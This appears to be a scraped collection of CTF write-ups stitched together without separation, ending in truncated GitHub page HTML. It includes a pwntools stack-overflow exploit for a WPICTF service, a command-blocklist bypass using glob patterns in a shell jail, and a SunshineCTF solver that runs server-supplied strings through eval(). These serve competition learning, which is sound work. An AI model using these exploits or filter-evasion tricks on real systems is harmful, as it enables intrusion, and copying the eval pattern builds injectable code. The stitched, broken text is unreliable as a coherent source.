EZPZ, Pwn, 100pts================== Problem--------nc ezpz.wpictf.xyz 31337 Solution--------We run the following script - ```pythonfrom pwn import * r = remote('ezpz.wpictf.xyz', 31337) msg = r.recvline()print(msg)address = int(msg.split(' ')[1], 16) # 16 for hexr.recvline() buf = 'A'*0x88buf += p64(address)r.sendline(buf) r.interactive()``` This gives the flag - `WPI{3uffer_0verflows_r_ezpz_l3mon_5queazy}`. Shell-JAIL-1, Pwn, 150pts========================== Problem--------Download the login private key, then run: ssh -p 31337 -i login [email protected] redundant servers on 31338 and 31339 Solution---------The solution was to not use "\*", "sh", "/", "home", "pc_owner", "flag", "txt" in the command to display flag.txt. So we run - `./access "cat ????.???"` The flag is - `wpi{MaNY_WayS_T0_r3Ad}`. Penguin, Reversing, 50pts========================= Problem-------Find flag. Solution-------- We use ltrace to see program flow. Running `ltrace WPI{1}` Gives output - ![](output.png) So we keep doing that, and finally get the flag - `WPI{strings_only_gives_you_wings,_you_still_have_to_learn_how_to_fly._try_hexedit}`.
SunshineCTF - WorkshopHelper-------------------------**Category:** Scripting **Points:** 300 ##### Description:```Our workshop needs to figure out which gears to use in our mechs! Help us find those gears! http://workshop.web1.sunshinectf.org Note: All answers are integers! Author: hackucf_vrael```Upon visiting the site we're prompted with the following text:```Hello there! Welcome to my workshop! I need to get some things done, can you help? We are given a clue about which problem we need to solve and then we have to figure out which one the clues matches to. Once we do that, we then solve that problem and submit that solution. We have to be quick though, because we only have 10 seconds for each problem! Hit the start button once you are ready to begin!```Considering that this is in the scripting category and that the problems need to be solved, we can assume that this has to be automated. So I capture the requests to start a new game which looks like this: ##### Request```GET /start?answer=no_answer HTTP/1.1Host: workshop.web1.sunshinectf.orgUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://workshop.web1.sunshinectf.org/Authorization: Connection: close```##### Response ```HTTP/1.1 200 OKServer: nginxDate: Sat, 07 Apr 2018 03:17:58 GMTContent-Type: application/json; charset=utf-8Content-Length: 3286Connection: closeX-Powered-By: ExpressETag: W/"cd6-BSiVzy+Z8oe7lzk8e6A+/6qOjpQ" {"token":"269206a3-06fc-4c65-8765-1991d8c89aed","level":0,"questions":[{"id":"460967","name":"546919","class":"48996","question":"823372 / 38686","answers":[85,94,45,21]},{"id":"759","name":"13081","class":"425263","question":"927803 + 386384","answers":[1314187,1314219,1314231,1314171]},{"id":"270363","name":"106002","class":"45432","question":"980576 + 588171","answers":[]},{"id":"678967","name":"408305","class":"245316","question":"21116 * 970600","answers":[20495189644,20495189589,20495189600,20495189656]},{"id":"536291","name":"465354","class":"995509","question":"124657 - 200968","answers":[-76311,-76349,-76256,-76359]},{"id":"692793","name":"399288","class":"57867","question":"680958 / 163197","answers":[]},{"id":"446105","name":"768867","class":"771400","question":"254847 + 357381","answers":[]},{"id":"507906","name":"775367","class":"655408","question":"536505 % 55748","answers":[]},{"id":"858884","name":"944349","class":"448530","question":"610462 * 424765","answers":[]},{"id":"878833","name":"556269","class":"524965","question":"779820 + 363410","answers":[]},{"id":"768464","name":"737976","class":"729791","question":"211531 + 641761","answers":[853211,853204,853337,853292]},{"id":"601094","name":"606044","class":"838356","question":"626344 % 794154","answers":[]},{"id":"219552","name":"982064","class":"570380","question":"960577 - 334472","answers":[626105,626138,626165,626049]},{"id":"579750","name":"748284","class":"652686","question":"956424 * 708039","answers":[677185492465,677185492539,677185492483,677185492536]},{"id":"248155","name":"458552","class":"251812","question":"697693 - 518665","answers":[]},{"id":"284904","name":"893833","class":"432299","question":"546275 / 931940","answers":[-27,62,0,38]},{"id":"893846","name":"67783","class":"886335","question":"953731 / 53526","answers":[]},{"id":"786709","name":"981327","class":"330408","question":"257239 - 327602","answers":[-70289,-70395,-70363,-70460]},{"id":"995210","name":"592923","class":"324152","question":"151071 / 942764","answers":[31,0,-20,17]},{"id":"81876","name":"842603","class":"832361","question":"930466 / 721586","answers":[]},{"id":"503877","name":"927219","class":"838469","question":"34315 - 831072","answers":[-796708,-796779,-796756,-796757]},{"id":"953679","name":"979117","class":"955635","question":"695518 % 359173","answers":[336319,336320,336345,336299]},{"id":"471406","name":"35715","class":"346938","question":"410046 * 765825","answers":[]},{"id":"409428","name":"78539","class":"326402","question":"780946 % 518848","answers":[]},{"id":"808343","name":"3199","class":"533875","question":"341312 + 426469","answers":[767696,767781,767808,767821]},{"id":"947102","name":"760479","class":"564063","question":"870715 * 157275","answers":[136941701629,136941701625,136941701710,136941701592]},{"id":"10464","name":"205843","class":"458910","question":"501643 / 80938","answers":[]},{"id":"759769","name":"446300","class":"401275","question":"856209 - 729308","answers":[126981,126901,126958,126877]},{"id":"606656","name":"585411","class":"202624","question":"375346 + 187811","answers":[]},{"id":"927467","name":"549902","class":"354783","question":"269496 % 188479","answers":[81043,81000,80975,81017]}],"featureHintType":"name","featureHint":"458552"}``` So we can see that the response is in json so the parsing/display is done client-side meaning we should be able to automate it with python using the requests and json packages. Also take note of the **featuteHintType** and **featureHint** values, as we need to solve the corresponding question (E.g. the question where the HintType is equal to the featureHint). After this I captured what answering a question looked like:##### Request```GET /submit?answer=45 HTTP/1.1Host: workshop.web1.sunshinectf.orgUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://workshop.web1.sunshinectf.org/Authorization: 269206a3-06fc-4c65-8765-1991d8c89aedConnection: close```So, it looks like it shouldn't be too hard to automate so I put together a quick Python script to solve it.```import requestsimport jsons = requests.Session()start = Truewhile True: if start: qjson = json.loads(s.get("http://workshop.web1.sunshinectf.org/start?answer=no_answer").text) start = False token = qjson["token"] ftype = qjson["featureHintType"] fval = qjson["featureHint"] for q in qjson["questions"]: if q[ftype] == fval: print("Question found: "+q["question"]) print("Token: "+token) answer = int(eval(q["question"])) s.headers.update({"Authorization":token}) qjson = json.loads(s.get("http://workshop.web1.sunshinectf.org/submit?answer="+str(answer)).text) if "sun{" in str(qjson): print(str(qjson)) print(str(qjson["result"]) + " | " + str(qjson["level"]))```After we solve 30 questions (reach level 30) we receive the flag!```'flag': 'sun{W3_g0t_the_g3ar5_w3_got_th3_p0w3r}'```
`cat` is a good challenge to understand how `glibc heap` handles `fast bins`. You can populate the content of fast bins to influence the program data flow if the developers do not initialize the memory (allocated via `malloc`) correctly.
An overflow occurs in the array on the stack. However, every ROP chain must must consist of only prime number.The key idea is Goldbach’s conjecture. Every even number (< 2^64) can be represented by the sum of two prime numbers. The full write up is here:[https://eyebrowmoon.github.io/hacking/ctf/pctf/pctf_2018_write_up](https://eyebrowmoon.github.io/hacking/ctf/pctf/pctf_2018_write_up)
Each row in the inout file is an impact position of a bullet, along with its speed, agnle above the horizontal and direction from shooter.For all the physics behind this challenge, read the original writeup (you can find it [HERE](http://zenhack.it/writeups/SwampCTF2018/orb2/).I'll write below the script which produces the flag. ```pythonimport pickleimport numpy as npimport scipy.ioimport matplotlib.pyplot as plt def predict_impact_point(row): x,y = row[0],row[1] v = row[2] theta = row[3] alpha = row[4] vx = v * np.cos(theta)*np.cos(alpha) vy = v * np.cos(theta)*np.sin(alpha) vz = v * np.sin(theta) g = 9.81 t = 2*vz / g return x - vx*t, y - vy*t data = pickle.load(open('page_of_numbers.p','rb'))matrix_data = [ ]res = []for d in data: val =predict_impact_point([i for i in d]) matrix_data.append(val)matrix_data = np.array(matrix_data) plt.plot(matrix_data[:,0], matrix_data[:,1],'o')plt.show() ```![The flag](https://zangobot.github.io/assets/2018-04-02-swamp_p2/flag.jpg)
Please, click the below URL to view the write-up for the 'macsh' challenge [Click here to view the Original WriteUp](https://hack3r5arena.wordpress.com/2018/05/07/plaid-ctf/)
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf/pctf-2018/Transducipher at master · sea0breeze/ctf · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="A7DB:6BE1:1C8A5529:1D610BD6:64122668" data-pjax-transient="true"/><meta name="html-safe-nonce" content="c0258b58802428757e903870a545c89924e8b1301df50890bc797e137d15c1c1" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBN0RCOjZCRTE6MUM4QTU1Mjk6MUQ2MTBCRDY6NjQxMjI2NjgiLCJ2aXNpdG9yX2lkIjoiMjM3NjM4MDM2Njg5NjM3NTQwMCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="910e1624a8f1d57e10c18dec1c7090bdb4cb37e934ee4f8957e83494e8011368" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:54097741" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="ctf writeups. Contribute to sea0breeze/ctf development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/d36dd840160a2af4c6ebb672bce8c12c1717608e5a2771102771acb06cf6a5f4/sea0breeze/ctf" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf/pctf-2018/Transducipher at master · sea0breeze/ctf" /><meta name="twitter:description" content="ctf writeups. Contribute to sea0breeze/ctf development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/d36dd840160a2af4c6ebb672bce8c12c1717608e5a2771102771acb06cf6a5f4/sea0breeze/ctf" /><meta property="og:image:alt" content="ctf writeups. Contribute to sea0breeze/ctf development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf/pctf-2018/Transducipher at master · sea0breeze/ctf" /><meta property="og:url" content="https://github.com/sea0breeze/ctf" /><meta property="og:description" content="ctf writeups. Contribute to sea0breeze/ctf development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/sea0breeze/ctf git https://github.com/sea0breeze/ctf.git"> <meta name="octolytics-dimension-user_id" content="16110747" /><meta name="octolytics-dimension-user_login" content="sea0breeze" /><meta name="octolytics-dimension-repository_id" content="54097741" /><meta name="octolytics-dimension-repository_nwo" content="sea0breeze/ctf" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="54097741" /><meta name="octolytics-dimension-repository_network_root_nwo" content="sea0breeze/ctf" /> <link rel="canonical" href="https://github.com/sea0breeze/ctf/tree/master/pctf-2018/Transducipher" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 